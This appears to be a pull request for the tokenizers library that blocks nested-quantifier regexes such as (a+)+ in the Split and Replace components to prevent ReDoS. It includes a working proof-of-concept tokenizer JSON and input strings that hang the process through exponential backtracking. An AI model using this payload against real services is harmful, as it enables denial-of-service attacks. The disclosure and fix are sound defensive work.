security: reject nested-quantifier regex in Split/Replace to prevent ReDoS (CWE-1333)

[Allen930311]

Summary

The Split pre-tokenizer and Replace normalizer both accept arbitrary regex patterns supplied by users via JSON configuration. These patterns are compiled and executed by Oniguruma, a backtracking regex engine.

An attacker can craft a tokenizer JSON that contains a pattern with nested quantifiers (e.g. (a+)+, (a*)*, ([a-z]+)+). When such a tokenizer is loaded by a service and then used to tokenize carefully chosen input, Oniguruma performs exponential backtracking — O(2^n) — hanging the process for seconds (or indefinitely).

CWE: CWE-1333 (Inefficient Regular Expression Complexity) / CWE-400 (Uncontrolled Resource Consumption)

Proof of Concept

from tokenizers import Tokenizer
import time

MALICIOUS_JSON = """
{
    "version": "1.0",
    "truncation": null, "padding": null, "added_tokens": [],
    "normalizer": null,
    "pre_tokenizer": {
        "type": "Split",
        "pattern": {"Regex": "(a+)+"},
        "behavior": "Removed",
        "invert": false
    },
    "post_processor": null,
    "decoder": null,
    "model": {"type": "WordLevel", "vocab": {}, "unk_token": "[UNK]"}
}
"""

tok = Tokenizer.from_str(MALICIOUS_JSON)

for n in [5, 10, 15, 20, 25]:
    evil = "a" * n + "b"
    t = time.time()
    try:
        tok.encode(evil)
    except Exception:
        pass
    print(f"n={n:2d}: {time.time() - t:.4f}s")

Expected output (exponential growth):

n= 5: 0.0001s
n=10: 0.0010s
n=15: 0.0330s
n=20: 1.048s
n=25: ~33s   ← DoS

The same PoC works for the Replace normalizer with a Regex pattern.

Changes

File	Change
tokenizers/src/utils/mod.rs	Add check_redos_risk(pattern) using regex-syntax AST analysis
tokenizers/src/pre_tokenizers/split.rs	Call check in Split::new() for SplitPattern::Regex
tokenizers/src/normalizers/replace.rs	Call check in Replace::new() for ReplacePattern::Regex

regex-syntax is already a declared dependency — no new crates required.

Patterns using Oniguruma-specific syntax that regex-syntax cannot parse are silently accepted (best-effort). Hardcoded library patterns (ByteLevel, etc.) are not affected.

Test plan

• Split::new(SplitPattern::Regex("(a+)+".into()), ...) → returns Err (rejected)
• Replace::new(ReplacePattern::Regex("(a*)*".into()), ...) → returns Err (rejected)
• Normal patterns like \s+, \w+, [a-z]+ → accepted unchanged
• Oniguruma-specific patterns like \p{L}+ → accepted unchanged (best-effort)